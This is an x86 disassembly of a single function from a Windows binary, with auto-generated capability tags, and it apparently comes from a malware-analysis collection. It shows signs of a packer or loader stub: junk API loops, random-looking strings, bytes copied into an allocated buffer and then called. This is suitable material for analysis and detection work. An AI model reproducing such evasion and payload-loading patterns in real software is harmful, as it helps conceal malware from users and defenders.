Function at 0x402253
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Terminate thread

Disassembly:
mov eax, 0x4192a9
call fcn.004191b0
mov ecx, dword [0x2d17588]
sub esp, 0x8d4
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x402344
push str.tediwipalu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
bts dword [eax], 0
lea eax, [ebp - 0x4dc]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x8dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.0040677f
pop ecx
push ebx
call fcn.00405744
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401104
push str.bad_exception
lea ecx, [ebp - 0x20]
call fcn.0040112b
lea ecx, [ebp - 0x20]
call fcn.00401147
push ebx
push ebx
call fcn.004056fe
push ebx
call fcn.00406473
add esp, 0xc
push ebx
call fcn.004067f6
pop ecx
push ebx
call fcn.00406473
mov dword [esp], 0x420800
call fcn.0040649d
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00402c67
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00402c74
push ecx
push ecx
lea ecx, [ebp - 0xdc]
call fcn.00402cb1
lea ecx, [ebp - 0xdc]
call fcn.004024c7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402ca1
mov ecx, dword [0x2d17588]
mov eax, dword [0x426dd8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2d1758c], eax
mov dword [0x2d17588], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2d1657c], eax
call fcn.004021e8
mov esi, 0x29156e
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x402371
mov ecx, dword [0x2d17588]
mov esi, ebx
test ecx, ecx
je 0x4023e4
mov eax, dword [0x2d1758c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d1657c]
mov byte [eax + esi], cl
mov ecx, dword [0x2d17588]
cmp ecx, 0x490
jne 0x4023df
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x8dc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x4dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x2d17588]
inc esi
cmp esi, ecx
jb 0x402387
mov esi, ebx
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x402434
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea eax, [ebp - 0x24]
push eax
push ebx
lea eax, [ebp - 0x8dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
lea eax, [ebp - 0x4dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ecx, dword [0x2d17588]
inc esi
cmp esi, 0x38681
jl 0x4023e6
push ecx
call fcn.004021a5
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x402455
call fcn.004021cc
inc esi
cmp esi, 0x674db
jl 0x402445
push 0x7b
pop esi
cmp dword [0x2d17588], 0x86
jne 0x4024a3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push str.kixugawixakufuvudivisikiros
push str.noyoj
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec esi
jne 0x402461
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d1657c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret